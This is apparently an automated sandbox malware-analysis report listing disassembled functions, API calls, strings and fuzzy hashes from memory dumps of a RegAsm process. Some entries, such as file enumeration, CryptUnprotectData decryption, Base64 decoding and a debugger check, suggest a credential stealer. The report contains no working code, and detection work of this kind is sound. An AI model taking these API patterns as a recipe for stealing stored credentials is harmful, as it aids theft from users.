Function 6CB85190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CB851DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CB8529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6CB852FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CB8536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CB853F7

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6CB856C3
__Init_thread_footer.LIBCMT ref: 6CB856E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6CB856BE

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
Opcode ID: 816f7ba838dfdb8bf10d96de9513eb03e83d3b5edf29641d987755f4f6968427
Instruction ID: 7c991f405fb4ea47af958a5db80cd99e4f5e9f26b5c04095aae11c3d37a88bbc
Opcode Fuzzy Hash: 816f7ba838dfdb8bf10d96de9513eb03e83d3b5edf29641d987755f4f6968427
Instruction Fuzzy Hash: F8E19071915F85CAD712CF34885026BB7B9BF9B384F109B0EE8AB2B941DF30E4468716

Function 6CBA7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6CBA7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6CBA7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CBA707E

Part of subcall function 6CB581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CB581DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CBA7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CBA709C
LocalFree.KERNEL32(?), ref: 6CBA70AA

Strings

### ERROR: %s: %s, xrefs: 6CBA7087
(null), xrefs: 6CBA706A, 6CBA7083

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 84ac075e38eabf5904d65f9bc000ffe9b4ff34bc1334842cf39e78a825136591
Instruction ID: bf6f9744a1c669ad8e46bcfb87819c9d639f5aef88f2376ddf71182fa0d78884
Opcode Fuzzy Hash: 84ac075e38eabf5904d65f9bc000ffe9b4ff34bc1334842cf39e78a825136591
Instruction Fuzzy Hash: 3101B9B2B00109AFDF005B64DC4ADAF7BBCEF4D655F010425FA45E7241D6716A188BA1

Function 0040DC50 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C19), ref: 0040DC9E
StrCmpCA.SHLWAPI(?,0042146C), ref: 0040DCEE
StrCmpCA.SHLWAPI(?,00421470), ref: 0040DD04
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E220
FindClose.KERNEL32(000000FF), ref: 0040E232

Strings

t@, xrefs: 0040DC72, 0040E240, 0040DD33, 0040DCB5, 0040DD36
\*.*, xrefs: 0040DC66

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*$t@
API String ID: 2325840235-663382066
Opcode ID: f1ca848d7988d7fd75b545473e61763f3332d63cfed14334e254e43c62b8fdf1
Instruction ID: e9223715fb7ea1854cb62e564a6307543a1272858c9b536fbbbe29962c1fc9f0
Opcode Fuzzy Hash: f1ca848d7988d7fd75b545473e61763f3332d63cfed14334e254e43c62b8fdf1
Instruction Fuzzy Hash: 3EF1FE71915118AACB15FB61DC95AEEB338AF24314F8041DFB40A62091EF782BD9CF5A

Function 6CB92C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB92C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB92C61

Part of subcall function 6CB44DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB44E5A
Part of subcall function 6CB44DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CB44E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB92C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB92E2D

Part of subcall function 6CB581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CB581DE

Strings

expected a Time entry, xrefs: 6CB92E36
ProfileBuffer parse error: %s, xrefs: 6CB92E3B
(root), xrefs: 6CB9354F

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: abccf6defcc8e73fee3c390c0c6dec6166a059a7cffca8e9690d75ef3b9d031e
Instruction ID: a57fb004c2b26566e57ce92d2ddb67f695103057a1acf7cff422f344fd1b3f11
Opcode Fuzzy Hash: abccf6defcc8e73fee3c390c0c6dec6166a059a7cffca8e9690d75ef3b9d031e
Instruction Fuzzy Hash: A991AF70A087C08FC724CF24C4946AEB7E1EF8A358F50492DE99A9B761DB30D949CB53

Function 6CBA9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CBA9F3D
__aulldiv.LIBCMT ref: 6CBA9F77
__aullrem.LIBCMT ref: 6CBA9F8C
__aulldiv.LIBCMT ref: 6CBAA023

Strings

-Infinity, xrefs: 6CBA9E60, 6CBA9E7B
NaN, xrefs: 6CBA9EAB

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 0f18b7fe29d1b6865cc3a37b4e3a3d883ac96802e437703b66e4ff5481b67db0
Instruction ID: b9947ae95f0da3346c8e692646e7201024b639b009da895d4c1ae670f9ba5548
Opcode Fuzzy Hash: 0f18b7fe29d1b6865cc3a37b4e3a3d883ac96802e437703b66e4ff5481b67db0
Instruction Fuzzy Hash: 40C1D031E083989BDF14CFE9C85079EB7BAEB89704F144129D445ABB80D771AD4ACFA1

Function 6CBAB910 Relevance: 9.1, APIs: 6, Instructions: 146nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB59B80: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,6CBAB92D), ref: 6CB59BC8
Part of subcall function 6CB59B80: __Init_thread_footer.LIBCMT ref: 6CB59BDB

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CB503D4,?), ref: 6CBAB955
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,0000001C), ref: 6CBAB9A5
NtQueryVirtualMemory.NTDLL(00000000,?,00000000,?,0000001C,00000000), ref: 6CBABA20
RtlNtStatusToDosError.NTDLL ref: 6CBABA7B
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6CBABA81
GetLastError.KERNEL32(00000000,00000000,00000000,?,00000000,?,0000001C,00000000), ref: 6CBABA86

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Error$LastMemoryQueryVirtual$InfoInit_thread_footerStatusSystemWin32rand_s
String ID:
API String ID: 1753913139-0
Opcode ID: 7837aaac947b1d5495f733760f2feee3404afbdf3d1b43a4c2a8cffb4a9ae15d
Instruction ID: 711fb62d1b9a345eaa036a2545895619a469698e083b0ba448b3141ae2444d94
Opcode Fuzzy Hash: 7837aaac947b1d5495f733760f2feee3404afbdf3d1b43a4c2a8cffb4a9ae15d
Instruction Fuzzy Hash: 7E518871E0525DDFDF14CEE8C880ADEB7B6EF88304F144129E965B7A00DB30AD468B91

Function 00409B10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Strings

>O@, xrefs: 00409B24, 00409B31, 00409B49, 00409B68, 00409B34, 00409B6B

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O@
API String ID: 4291131564-3498640338
Opcode ID: 51d6155b46c97a52efa385d52040a93a20dc9faff1265f51667d84e9c93c90dd
Instruction ID: 421755d6b48e33095a5169d11db47f4caeee54bd02e7bdd1b67a963d2e3b7d6d
Opcode Fuzzy Hash: 51d6155b46c97a52efa385d52040a93a20dc9faff1265f51667d84e9c93c90dd
Instruction Fuzzy Hash: 7F11C074240308AFEB10CF64CC95FAA77B6FB89710F208059F9199B3D0C7B5A942CB54

Function 6CB88AC0 Relevance: 7.7, APIs: 5, Instructions: 174timeCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB7FA80: GetCurrentThreadId.KERNEL32 ref: 6CB7FA8D
Part of subcall function 6CB7FA80: AcquireSRWLockExclusive.KERNEL32(6CBCF448), ref: 6CB7FA99

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CBA1563), ref: 6CB88BD5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CBA1563), ref: 6CB88C3A
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,?,?,?,?,?,?,?,?,?,?,6CBA1563), ref: 6CB88C74
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,6CBA1563), ref: 6CB88CBA
free.MOZGLUE(?), ref: 6CB88CCF

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockNow@Stamp@mozilla@@TimeV12@_free$AcquireCurrentReleaseThread
String ID:
API String ID: 2153970598-0
Opcode ID: 3d23f1ee2b06d02198646ddcb22fcc01719ad43d53e738c49cb49eac0054a850
Instruction ID: d16c60128119506dfeb1b17228ac18fa6814f86e0da441650a020707f14377cd
Opcode Fuzzy Hash: 3d23f1ee2b06d02198646ddcb22fcc01719ad43d53e738c49cb49eac0054a850
Instruction Fuzzy Hash: 3A71AF75A15B41CFD704CF29C48066AB7F1FF89318F058A5EE9899BB22E771E884CB41

Function 6CB4F280 Relevance: 7.6, APIs: 5, Instructions: 87nativelibraryloaderCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,?,00000000,?,0000001C,?), ref: 6CB4F2B4
GetProcAddress.KERNEL32(00000000,?), ref: 6CB4F2F0
NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,0000001C,0000001C,?), ref: 6CB4F308
RtlNtStatusToDosError.NTDLL ref: 6CB4F36B
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,?,00000000,?,0000001C,?), ref: 6CB4F371

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ErrorMemoryQueryVirtual$AddressLastProcStatusWin32
String ID:
API String ID: 1171715205-0
Opcode ID: 3a1f216e002a6f01341adac121a8f10624c8be489b612036332aa7684294ccad
Instruction ID: 4d3f7c2e3b9a89317a9c0fa3f8e7b53418a90e6634c74bc57bbb8e42a5a556fd
Opcode Fuzzy Hash: 3a1f216e002a6f01341adac121a8f10624c8be489b612036332aa7684294ccad
Instruction Fuzzy Hash: B221D230A04388DBEF209A65CD44BEF77F9EB4435CF10C228E424A7684D7B49988DB62

Function 0041ACFA Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041B562
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041B577
UnhandledExceptionFilter.KERNEL32(0041F298), ref: 0041B582
GetCurrentProcess.KERNEL32(C0000409), ref: 0041B59E
TerminateProcess.KERNEL32(00000000), ref: 0041B5A5

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction ID: e298f46f0b3396334d2e2e37c4a67069ca1d3d313a6b9180192500d6cd60c5fb
Opcode Fuzzy Hash: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction Fuzzy Hash: 2F21D678600214DFD720EF59F9D4AA97BB5FB08314F90803AE809D7261E7B46586CF9D

Function 00407280 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0), ref: 0040728D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407294
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004072C1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407CD0,80000001,00415CA4), ref: 004072E4
LocalFree.KERNEL32(?,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 004072EE

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 5915e9d016c50e8c8afbc1db5a49932ad24ad0ff49fd5d82b8f52955bd254427
Instruction ID: 878b0d7115cd8d43870734417daae2c605d8a0a5a409213b4f7418bdd2279ebf
Opcode Fuzzy Hash: 5915e9d016c50e8c8afbc1db5a49932ad24ad0ff49fd5d82b8f52955bd254427
Instruction Fuzzy Hash: 31014071A40208BBDB10DF94CC46F9E7779BB44700F204055FB05BB2D0D6B0AA019BA9

Function 6CBB53C8 Relevance: 6.6, APIs: 5, Instructions: 310COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CBB86AE

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction ID: a67b63edabb3569e97dc921a3855a438925955a1709c65d0cd31722f4fe7783e
Opcode Fuzzy Hash: 020699a8d883c895cbf1e7bdb6619c7a9db3bf51279c0ce3409d4d95b83b76bf
Instruction Fuzzy Hash: B1C1B772E0015A8FCB24CF68CC91BEDB7B2EF95314F1502A9C549EB745DB30A989CB91

Function 6CBB545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CBB8A4B

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: bde881f37088ca3ef9403475c56624eb7d4de0c6d7681b9d385ad82fb8fb8bd0
